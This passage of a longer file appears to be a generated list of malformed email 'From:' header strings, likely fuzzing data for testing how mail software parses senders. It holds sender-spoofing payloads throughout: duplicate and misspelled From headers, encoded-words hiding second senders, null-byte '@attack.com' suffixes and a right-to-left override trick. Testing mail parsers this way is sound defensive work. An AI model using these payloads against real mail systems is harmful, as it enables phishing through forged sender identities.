\r\nFrom:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: wordwordwordword(),webmaster@china.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tLA0K=?=>", + " From: \r\nFrom:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From: word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + " From:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + "From :(comment),,,Alice@icloud.com\r\n", + " From:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + " FrOM: \r\nFrom:attacker@outlook.com\r\n", + "From: \r\nFrom:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSwoY29tbQ0KZW50KTxzZWN1cml0eUBob3RtYWlsLmNvbT4oDQopLHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206aHJAaWNsb3VkLmNvbT4oY29tbQ0KZW50KSx3b3JkPGtleUBnbWFpbC5jb20+LEFsaWNlQGhvdG1haWwuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAYWxpeXVuLmNvbSx3b3JkLihjb21tDQplbnQpKGNvbW0NCmVudCkoaGkpKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAMTI2LmNvbT4oKSxrZXlAZ21haWwuY29tDQo==?=>\u0000@attack.com", + "From: word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + "From:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + "From :word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + " FrOM: \r\nFrom:key@139.com,hr@msn.com\r\n", + " From: \r\nFrom:wordword()\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + "From: word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + " From: \r\nFrom:attacker@139.com\r\n", + "From: \r\nFrom:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUAxMjYuY29tLDxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihoaSkNCg===?=>", + "From: \r\nFrom:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KA0KKQ0K=?=>", + " From:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + " From:Alice@outlook.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNuLGFkbWluQGxpdmUuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTpockB0b3AuY29tLE1pa2VAc2luYS5jb20NCg===?=>", + "From:attacker@139.com\r\n", + " From:key@foxmail.com,\r\n", + "From: \r\nFrom:wordword(comm\r\nent)(\r\n)\r\n", + "From:hr@163.com\r\n", + "From: \r\nFrom:word(\r\n)(comment),attacker@gmail.com,\r\n", + "From: word(comm\r\nent),,,,,(comm\r\nent)\r\n", + " FrOM: \r\nFrom:admin@ymail.com.cn,(comment)\r\n", + " Fromÿ: \r\nFrom:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>", + " From:hr@msn.com\r\n", + "From :word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + " From: \r\nFrom:(hi),(hi)\r\n", + " Fromÿ: \r\nFrom:key@ymail.com.cn,Bob@icloud.com\r\n", + " From:Bob@sohu.com,\r\n", + " Fromÿ: \r\nFrom:key@foxmail.com,\r\n", + "From:key@foxmail.com\r\n", + "From: \r\nFrom:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + " FrOM: \r\nFrom:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + " From:Mike@msn.com\r\n", + " From:Bob@foxmail.com\r\n", + " From: \r\nFrom:attacker@china.com,(comment)\r\n", + "From: \r\nFrom:(comment)(\r\n),\r\n", + " Fromÿ: \r\nFrom:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + " From:(hi),(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAaG90bWFpbC5jb20+KA0KKQ0K=?=>", + " From:Mike@163.com,webmaster@139.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxhZG1pbkBob3RtYWlsLmNvbT4oY29tbWVudCksYXR0YWNrZXJAZ21haWwuY29tLA0K=?=>\u0000@attack.com", + "From:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + " From:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMzkuY29tDQo==?=>", + "From :<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTooKTxzZWN1cml0eUAxMzkuY29tPihjb21tZW50KSx3b3Jkd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBnbWFpbC5jb20+KA0KKQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEJvYkBnbWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + " From:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLGhyQGFsaXl1bi5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8c2VjdXJpdHlAZm94bWFpbC5jb20+LA0K=?=>", + "From: \r\nFrom:,key@icloud.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBvdXRsb29rLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKQ0K=?=>", + " From:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + " Fromÿ: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + "From: attacker@163.com,hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAY2hpbmEuY29tLCwoDQopPEBhLmNvbTpAYi5jb206QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>", + " From: \r\nFrom:attacker@sina.com\r\n", + "From:(),webmaster@gmail.com\r\n", + " From: \r\nFrom:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " FrOM: \r\nFrom:Bob@163.com\r\n", + "From:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + "From: \r\nFrom:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + " From:Alice@ymail.com.cn,,word,(comment)\r\n", + " Fromÿ: \r\nFrom:hr@top.com,Mike@sina.com\r\n", + "From :,hr@live.com,(comment)\r\n", + "From: \r\nFrom:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From: <=?utf-8?RnJvbTpCb2JAZ21haWwuY29tDQo==?=>", + " Fromÿ: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " Fromÿ: \r\nFrom:Mike@foxmail.com\r\n", + "From: \r\nFrom:Alice@ymail.com.cn,\r\n", + " From:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + " Fromÿ: \r\nFrom:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + " Fromÿ: \r\nFrom:attacker@126.com\r\n", + "From: word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From: word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From: \r\nFrom:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20NCg===?=>", + "From :word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + " FrOM: \r\nFrom:,,(comm\r\nent),word()(comment)\r\n", + " From: \r\nFrom:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20sKA0KKQ0K=?=>", + "From:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + "From :(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tZW50KSwNCg===?=>", + " From:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHltYWlsLmNvbS5jbj4NCg===?=>", + " From: \r\nFrom:\r\n", + "From:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUAxMzkuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:,Bob@sohu.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sDQo==?=>", + "From: \r\nFrom:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + "From:Alice@outlook.com\r\n", + " From: \r\nFrom:key@foxmail.com\r\n", + "From :wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + "From: ()\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + " FrOM: \r\nFrom:,key@icloud.com\r\n", + "From:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From :(\r\n),\r\n", + " FrOM: \r\nFrom:attacker@sina.com\r\n", + "From:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + " FrOM: \r\nFrom:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From: ,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From :,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From :Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24sDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBob3RtYWlsLmNvbSwsDQo==?=>\u0000@attack.com", + " From: \r\nFrom:\r\n", + "From :word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + " FrOM: \r\nFrom:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuDQo==?=>\u0000@attack.com", + " From: \r\nFrom:,(hi),\r\n", + "From :<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpockBsaXZlLmNvbSxNaWtlQG91dGxvb2suY29tDQo==?=>", + "From: \r\nFrom:key@139.com,hr@msn.com\r\n", + "From: \r\nFrom:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From:webmaster@top.com\r\n", + " FrOM: \r\nFrom:\r\n", + "From: \r\nFrom:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + " FrOM: \r\nFrom:webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24sLHdvcmQ8aHJAbGl2ZS5jb20+LChjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKCk8Qm9iQHNpbmEuY24+LHdlYm1hc3RlckBjaGluYS5jb20NCg===?=>", + "From :hr@139.com\r\n", + " From:Alice@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From: word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + " From: \r\nFrom:admin@aliyun.com,security@outlook.com\r\n", + "From :Alice@qq.com,Mike@qq.com\r\n", + " From:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + " Fromÿ: \r\nFrom:,hr@live.com,(comment)\r\n", + "From:wordword()\r\n", + "From: hr@qq.com,word,Mike@126.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+KGhpKSw8QGdtYWlsLmNvbTpAYi5jb206aHJAY2hpbmEuY29tPix3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQDE2My5jb20+LGhyQGhvdG1haWwuY29tLGhyQHltYWlsLmNvbS5jbix3b3Jkd29yZHdvcmR3b3JkKA0KKTxAcXEuY29tOkAxNjMuY29tOkJvYkAxMjYuY29tPigNCiksd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBmb3htYWlsLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKA0KKSx3b3Jkd29yZChjb21tDQplbnQpPE1pa2VAbXNuLmNvbT4oY29tbWVudCkNCg===?=>", + " From: \r\nFrom:<@qq.com:@163.com:security@139.com>(comment)\r\n", + "From: \r\nFrom:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:word,word(hi)\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAeW1haWwuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkLi4oKShjb21tDQplbnQpPEJvYkBsaXZlLmNvbT4NCg===?=>\u0000@attack.com", + " From: \r\nFrom:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + "From:word(\r\n)(comment),attacker@gmail.com,\r\n", + "From: \r\nFrom:security@icloud.com\r\n", + "From:attacker@china.com,(comment)\r\n", + "From: \r\nFrom:,(\r\n),\r\n", + "From :<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From :word(\r\n)\r\n", + " Fromÿ: \r\nFrom:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + "From :(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + " Fromÿ: \r\nFrom:wordwordword(comment),\r\n", + "From :(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + " From:<@qq.com:@163.com:security@139.com>(comment)\r\n", + "From:,Bob@ymail.com,wordword(comment)...()\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From: \r\nFrom:(\r\n),\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckBxcS5jb20+LHdvcmQoY29tbQ0KZW50KTxhZG1pbkBjaGluYS5jb20+LCgpPEBxcS5jb206QDE2My5jb206Qm9iQHltYWlsLmNvbT4oaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTooDQopPGFkbWluQHNpbmEuY24+KCksd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGxpdmUuY29tPiw8d2VibWFzdGVyQG91dGxvb2suY29tPix3b3JkKGNvbW1lbnQpKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmFkbWluQG91dGxvb2suY29tPix3b3Jkd29yZHdvcmQoKTxNaWtlQGxpdmUuY29tPihjb21tDQplbnQpLHdlYm1hc3RlckBhbGl5dW4uY29tDQo==?=>", + "From: hr@139.com\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTosPGhyQDEzOS5jb20+KGhpKSwNCg===?=>", + " From:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + "From :word,word(hi)\r\n", + "From: key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From: word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + " From:()\r\n", + "From:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From :key@139.com,hr@msn.com\r\n", + "From: \r\nFrom:(comm\r\nent),(hi)\r\n", + " Fromÿ: \r\nFrom:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + "From:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " From:hr@126.com\r\n", + "From: <=?utf-8?RnJvbTo8QWxpY2VAZm94bWFpbC5jb20+KA0KKSwNCg===?=>\u0000@attack.com", + "From: \r\nFrom:word,word(hi)\r\n", + "From: wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpockAxNjMuY29tPihoaSksQWxpY2VAMTI2LmNvbQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:,(comment),,key@live.com,,(hi),\r\n", + "From: \r\nFrom:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From: attacker@163.com\r\n", + "From: attacker@hotmail.com,Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTosaHJAaWNsb3VkLmNvbSwsKGhpKQ0K=?=>\u0000@attack.com", + "From: <@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From: (comment),,,Alice@icloud.com\r\n", + "From:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + " From:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + "From: wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + "From :wordword()\r\n", + "From:Bob@sina.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From: \r\nFrom:admin@ymail.com.cn,(comment)\r\n", + "From: <=?utf-8?RnJvbTooKSxockBob3RtYWlsLmNvbSwsKA0KKSxhZG1pbkBmb3htYWlsLmNvbSwNCg===?=>", + "From: (comment),security@msn.com,,,\r\n", + " FrOM: \r\nFrom:admin@icloud.com,\r\n", + " From: \r\nFrom:(),attacker@sina.cn,,(\r\n)\r\n", + "From :attacker@outlook.com\r\n", + "From:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + "From: \r\nFrom:hr@qq.com\r\n", + "From:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AY2hpbmEuY29tPigpDQo==?=>", + " From: \r\nFrom:(comm\r\nent),(hi)\r\n", + "From: webmaster@qq.com\r\n", + "From: \r\nFrom:admin@icloud.com\r\n", + "From:,hr@live.com,(comment)\r\n", + "From:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + " FrOM: \r\nFrom:hr@qq.com,word,Mike@126.com\r\n", + "From: word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbSwoaGkpLHdvcmQoY29tbWVudCk8YWRtaW5AbGl2ZS5jb20+KGNvbW1lbnQpDQo==?=>", + "From: \r\nFrom:attacker@139.com\r\n", + "From: Bob@139.com,,wordwordwordwordword(hi),\r\n", + " From:,Bob@sohu.com\r\n", + " Fromÿ: \r\nFrom:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+KA0KKSwsLChoaSksKA0KKSxBbGljZUBpY2xvdWQuY29tDQo==?=>", + "From:", + " From:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + "From :word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + "From:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + " From:(),attacker@sina.cn,,(\r\n)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tPiwoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAbXNuLmNvbT4sKCk8QHFxLmNvbTpAMTYzLmNvbTprZXlAbGl2ZS5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " From:,(comment),,key@live.com,,(hi),\r\n", + "From :word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + "From:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20sLCwoDQopDQo==?=>\u0000@attack.com", + "From:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:security@139.com>(comment)\r\n", + " From:\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:admin@china.com>()\r\n", + " FrOM: \r\nFrom:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + " From: \r\nFrom:Alice@ymail.com.cn\r\n", + " From:hr@top.com,Mike@sina.com\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmhyQHRvcC5jb20+KGhpKQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + "From:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + "From: attacker@sina.cn,admin@live.com\r\n", + " From:webmaster@126.com\r\n", + "From: \r\nFrom:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + " From: \r\nFrom:security@163.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLGhyQGFsaXl1bi5jb20NCg===?=>", + "From: wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + "From: hr@msn.com\r\n", + "From:Mike@ymail.com.cn,attacker@139.com\r\n", + "From: \r\nFrom:,hr@live.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:key@foxmail.com\r\n", + " From: \r\nFrom:(comment),security@msn.com,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigpd29yZC4oY29tbWVudCl3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQGxpdmUuY29tPixCb2JAYWxpeXVuLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206TWlrZUBzb2h1LmNvbT4sTWlrZUAxMzkuY29tLHdlYm1hc3RlckAxNjMuY29tDQo==?=>", + " From: \r\nFrom:word(comment),(\r\n)\r\n", + " FrOM: \r\nFrom:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + "From:word.word(comment),(hi)(hi)\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sTWlrZUBxcS5jb20NCg===?=>", + " From: \r\nFrom:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQGdtYWlsLmNvbT4NCg===?=>\u0000@attack.com", + "From :admin@139.com\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + "From:<‮moc.a@‭alice", + "From:Alice@qq.com,Mike@qq.com\r\n", + "From: wordword()\r\n", + "From: \r\nFrom:attacker@china.com,(comment)\r\n", + "From: hr@live.com,Mike@outlook.com\r\n", + "From: ,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + "From:admin@sina.cn\r\n", + " Fromÿ: \r\nFrom:hr@qq.com,word,Mike@126.com\r\n", + " From:,,wordword,,\r\n", + " From: \r\nFrom:attacker@163.com,hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLndvcmQ8Qm9iQHNpbmEuY29tPihjb21tZW50KSwoaGkpPGF0dGFja2VyQGljbG91ZC5jb20+KGhpKQ0K=?=>\u0000@attack.com", + "From: key@sina.cn\r\n", + "From: \r\nFrom:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From:security@126.com,(hi),\r\n", + " Fromÿ: \r\nFrom:attacker@163.com\r\n", + "From:hr@qq.com,word,Mike@126.com\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+KA0KKSwsLChoaSksKA0KKSxBbGljZUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:(hi)(comment),(comment),(\r\n)\r\n", + " From: \r\nFrom:,attacker@hotmail.com\r\n", + " FrOM: \r\nFrom:Mike@top.com\r\n", + " From: \r\nFrom:key@sina.cn\r\n", + " From:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + " From:Alice@live.com,(hi),word(comment)(comment)\r\n", + " From: \r\nFrom:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + "From :webmaster@126.com\r\n", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tLChoaSk8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPixockBhbGl5dW4uY29tDQo==?=>", + " Fromÿ: \r\nFrom:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + " Fromÿ: \r\nFrom:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + "From :hr@163.com\r\n", + "From: \r\nFrom:,,(comm\r\nent),word()(comment)\r\n", + "From: (comm\r\nent),(hi)\r\n", + "From :wordwordword\r\n", + "From: 